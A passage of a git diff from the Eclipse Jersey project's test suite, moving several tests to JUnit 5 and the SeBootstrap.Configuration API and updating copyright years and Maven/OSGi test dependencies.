the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/WebServerFactoryTest.java b/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/WebServerFactoryTest.java index 28311344750..974404c0a89 100644 --- a/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/WebServerFactoryTest.java +++ b/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/WebServerFactoryTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. * Copyright (c) 2018 Markus KARG. All rights reserved. * * This program and the accompanying materials are made available under the @@ -23,6 +23,7 @@ import java.util.Iterator; +import jakarta.ws.rs.SeBootstrap; import jakarta.ws.rs.core.Application; import org.glassfish.jersey.internal.ServiceFinder; @@ -30,7 +31,6 @@ import org.glassfish.jersey.internal.guava.Iterators; import org.glassfish.jersey.internal.inject.InjectionManager; import org.glassfish.jersey.internal.inject.InjectionManagerFactory; -import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; import org.glassfish.jersey.server.WebServerFactory; import org.glassfish.jersey.server.spi.WebServer; import org.glassfish.jersey.server.spi.WebServerProvider; @@ -50,7 +50,7 @@ public final class WebServerFactoryTest { @Test public final void shouldBuildServer(@Mocked final Application mockApplication, @Mocked final WebServer mockServer, - @Mocked final JerseySeBootstrapConfiguration mockConfiguration, + @Mocked final SeBootstrap.Configuration mockConfiguration, @Mocked final InjectionManager mockInjectionManager) { // given ServiceFinder.setIteratorProvider(new ServiceIteratorProvider() { @@ -63,7 +63,7 @@ public final Iterator createIterator(final Class service, final String public final U createServer( final Class type, final Application application, - final JerseySeBootstrapConfiguration configuration) { + final SeBootstrap.Configuration configuration) { return application == mockApplication && configuration == mockConfiguration ? type.cast(mockServer) : null; @@ -73,7 +73,7 @@ public final U createServer( public T createServer( final Class type, final Class applicationClass, - final JerseySeBootstrapConfiguration configuration) { + final SeBootstrap.Configuration configuration) { return null; } } diff --git a/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/internal/scanning/PackageNamesScannerTest.java b/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/internal/scanning/PackageNamesScannerTest.java index b90d72d5de9..24c685ebc2e 100644 --- a/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/internal/scanning/PackageNamesScannerTest.java +++ b/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/internal/scanning/PackageNamesScannerTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -145,7 +145,7 @@ public void testInputStreamClosedAfterClose() throws Exception { new Verifications() {{ stream.close(); - minTimes = 3; + times = 3; }}; } diff --git a/tests/mem-leaks/pom.xml b/tests/mem-leaks/pom.xml index f18ef800814..dcbb3e4a752 100644 --- a/tests/mem-leaks/pom.xml +++ b/tests/mem-leaks/pom.xml @@ -1,7 +1,7 @@ diff --git a/tests/mem-leaks/test-cases/bean-param-leak/src/test/java/org/glassfish/jersey/tests/memleaks/beanparam/BeanParamLeakResourceITCase.java b/tests/mem-leaks/test-cases/bean-param-leak/src/test/java/org/glassfish/jersey/tests/memleaks/beanparam/BeanParamLeakResourceITCase.java index c698396abf1..87b87c3ba1a 100644 --- a/tests/mem-leaks/test-cases/bean-param-leak/src/test/java/org/glassfish/jersey/tests/memleaks/beanparam/BeanParamLeakResourceITCase.java +++ b/tests/mem-leaks/test-cases/bean-param-leak/src/test/java/org/glassfish/jersey/tests/memleaks/beanparam/BeanParamLeakResourceITCase.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -21,13 +21,13 @@ import org.glassfish.jersey.test.memleak.common.AbstractMemoryLeakWebAppTest; import org.glassfish.jersey.test.memleak.common.MemoryLeakSucceedingTimeout; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.extension.InvocationInterceptor; +import org.junit.jupiter.api.extension.RegisterExtension; -import org.junit.Assert; -import org.junit.Rule; -import org.junit.Test; -import org.junit.rules.Timeout; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.fail; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.fail; /** * This is an integration test that reproduces JERSEY-2800 by calling RESTful resource {@link BeanParamLeakResource} @@ -42,13 +42,13 @@ protected Application configure() { return new TestApplication(); } - @Rule - public Timeout globalTimeout = new MemoryLeakSucceedingTimeout(300_000); + @RegisterExtension + public InvocationInterceptor globalTimeout = new MemoryLeakSucceedingTimeout(300_000); @Test public void testTheLeakResourceOnce() { final Response response = target("beanparam/invoke").queryParam("q", "hello").request().post(null); - Assert.assertEquals(200, response.getStatus()); + Assertions.assertEquals(200, response.getStatus()); assertEquals("hello", response.readEntity(String.class)); } diff --git a/tests/mem-leaks/test-cases/leaking-test-app/pom.xml b/tests/mem-leaks/test-cases/leaking-test-app/pom.xml index 22f7e7328aa..aebd688b3d6 100644 --- a/tests/mem-leaks/test-cases/leaking-test-app/pom.xml +++ b/tests/mem-leaks/test-cases/leaking-test-app/pom.xml @@ -1,7 +1,7 @@ @@ -275,7 +286,7 @@ jakarta.servlet jakarta.servlet-api - ${servlet5.version} + ${servlet6.version} test @@ -288,11 +299,6 @@ hibernate-validator test - - org.jboss.logging - jboss-logging - test - com.fasterxml classmate @@ -358,14 +364,13 @@ jakarta.xml.bind-api test - - - org.slf4j - slf4j-log4j12 - 1.6.4 + junit + junit + ${junit4.version} test + diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/AbstractJsonOsgiIntegrationTest.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/AbstractJsonOsgiIntegrationTest.java index 8df2eb3dc5c..55f4c91b510 100644 --- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/AbstractJsonOsgiIntegrationTest.java +++ b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/AbstractJsonOsgiIntegrationTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -34,7 +34,7 @@ import org.junit.runner.RunWith; import org.ops4j.pax.exam.junit.PaxExam; import static org.hamcrest.CoreMatchers.containsString; -import static org.junit.Assert.assertThat; +import static org.hamcrest.MatcherAssert.assertThat; /** * Abstract JSON OSGi integration test. diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonJacksonTest.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonJacksonTest.java index 7d06f02d486..7aebd55951f 100644 --- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonJacksonTest.java +++ b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonJacksonTest.java @@ -41,6 +41,9 @@ public static Option[] configuration() { options.addAll(Helper.expandedList( // vmOption("-Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5005"), + // TODO - remove when jackson-module-jakarta-xmlbind-annotations supports JAX-B/4 + mavenBundle().groupId("jakarta.xml.bind").artifactId("jakarta.xml.bind-api").version("3.0.1"), + mavenBundle().groupId("org.glassfish.jersey.media").artifactId("jersey-media-json-jackson").versionAsInProject(), mavenBundle().groupId("org.glassfish.jersey.ext").artifactId("jersey-entity-filtering").versionAsInProject(), diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonMoxyTest.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonMoxyTest.java index 0f7eb6f9686..4b2876bf0ad 100644 --- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonMoxyTest.java +++ b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonMoxyTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -56,8 +56,8 @@ public static Option[] configuration() { mavenBundle().groupId("org.glassfish.jersey.ext").artifactId("jersey-entity-filtering").versionAsInProject(), mavenBundle().groupId("org.eclipse.persistence").artifactId("org.eclipse.persistence.moxy").versionAsInProject(), mavenBundle().groupId("org.eclipse.persistence").artifactId("org.eclipse.persistence.core").versionAsInProject(), - mavenBundle().groupId("org.eclipse.persistence").artifactId("org.eclipse.persistence.asm").versionAsInProject(), - mavenBundle().groupId("org.glassfish").artifactId("jakarta.json").versionAsInProject(), + mavenBundle().groupId("org.ow2.asm").artifactId("asm").versionAsInProject(), + mavenBundle().groupId("jakarta.json").artifactId("jakarta.json-api").versionAsInProject(), // validation mavenBundle().groupId("org.hibernate.validator").artifactId("hibernate-validator").versionAsInProject(), diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonProcessingTest.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonProcessingTest.java index 918e41487bf..2162cc384da 100644 --- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonProcessingTest.java +++ b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonProcessingTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,6 +16,10 @@ package org.glassfish.jersey.osgi.test.basic; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.ops4j.pax.exam.CoreOptions.mavenBundle; + import java.net.URI; import java.util.List; @@ -37,15 +41,11 @@ import org.glassfish.grizzly.http.server.HttpServer; -import org.junit.Ignore; -import org.junit.Test; +import org.junit.jupiter.api.Test; import org.junit.runner.RunWith; import org.ops4j.pax.exam.Configuration; import org.ops4j.pax.exam.Option; import org.ops4j.pax.exam.junit.PaxExam; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNotNull; -import static org.ops4j.pax.exam.CoreOptions.mavenBundle; /** * Basic test of Json Processing. @@ -90,19 +90,6 @@ public JsonObject postJsonObject(final JsonObject jsonObject) { } } - /** - * Ignoring it for now because it is not able to resolve the required dependencies in Jenkins. It works locally. - * - * [org.ops4j.pax.exam.forked.ForkedTestContainer] ERROR : Bundle - * [id:37, url:mvn:org.glassfish.jersey.media/jersey-media-json-processing/3.1.0-SNAPSHOT] is not resolved - * [org.ops4j.pax.exam.forked.ForkedTestContainer] ERROR : Bundle - * [id:38, url:mvn:jakarta.json/jakarta.json-api/2.1.0] is not resolved - * [org.ops4j.pax.exam.forked.ForkedTestContainer] ERROR : Bundle - * [id:39, url:mvn:org.eclipse.parsson/parsson/1.0.0] is not resolved - * [org.ops4j.pax.exam.forked.ForkedTestContainer] ERROR : Bundle - * [id:40, url:mvn:org.eclipse.parsson/parsson-media/1.0.0] is not resolved - */ - @Ignore("Does not work in Jenkins") @Test public void testJsonObject() throws Exception { assertNotNull("OSGi is supposed to exist in this test, but was not found", ReflectionHelper.getOsgiRegistryInstance()); diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/PackageScanningTest.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/PackageScanningTest.java index 424b1babfbc..c3a2fcaef77 100644 --- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/PackageScanningTest.java +++ b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/PackageScanningTest.java @@ -79,7 +79,7 @@ public static Option[] configuration() { .versionAsInProject(), // MBR/MBW for JSON-P is on the classpath. - mavenBundle().groupId("org.glassfish").artifactId("jakarta.json").versionAsInProject() + mavenBundle().groupId("jakarta.json").artifactId("jakarta.json-api").versionAsInProject() )); options = Helper.addPaxExamMavenLocalRepositoryProperty(options); diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java index 76a1515b0ad..4be49dd0e3f 100644 --- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java +++ b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -183,9 +183,9 @@ public static List